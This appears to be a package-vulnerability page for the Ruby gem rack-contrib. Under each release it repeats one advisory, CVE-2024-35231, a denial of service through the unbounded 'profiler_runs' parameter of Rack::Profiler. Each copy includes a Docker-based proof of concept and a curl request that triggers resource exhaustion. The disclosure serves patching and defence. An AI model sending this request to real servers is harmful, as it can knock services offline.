rack-contrib

Version	Released
`2.5.0` minor	May 24, 2024
`2.4.0` minor 1 CVE	Oct 24, 2023
`2.3.0` minor 1 CVE	Oct 24, 2020
`2.2.0` minor 1 CVE	Mar 29, 2020
`2.1.0` minor 1 CVE	Oct 04, 2018
`2.0.1` patch 1 CVE	Dec 08, 2017
`2.0.0` major 1 CVE	Nov 30, 2017
`1.8.0` minor 1 CVE	Nov 08, 2017
`1.7.0` minor 1 CVE	Oct 01, 2017
`1.6.0` minor 1 CVE	Aug 29, 2017
`1.5.0` minor 1 CVE	Jul 18, 2017
`1.4.0` minor 1 CVE	Jul 31, 2015
`1.3.0` minor 1 CVE	Jun 28, 2015
`1.2.0` minor 1 CVE	Oct 31, 2014
`1.1.0` minor 1 CVE	Oct 19, 2010
`1.0.1` patch 1 CVE	Jun 09, 2010
`1.0.0` major 1 CVE	Jun 07, 2010
`0.9.2` patch 1 CVE	Mar 07, 2009
`0.9.0` initial 1 CVE	Jan 23, 2009

2.5.0 minor

May 24, 2024

2.4.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 24, 2023

2.3.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 24, 2020

2.2.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 29, 2020

2.1.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 04, 2018

2.0.1 patch

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 08, 2017

2.0.0 major

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 30, 2017

1.8.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 08, 2017

1.7.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 01, 2017

1.6.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 29, 2017

1.5.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 18, 2017

1.4.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 31, 2015

1.3.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 28, 2015

1.2.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 31, 2014

1.1.0 minor

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

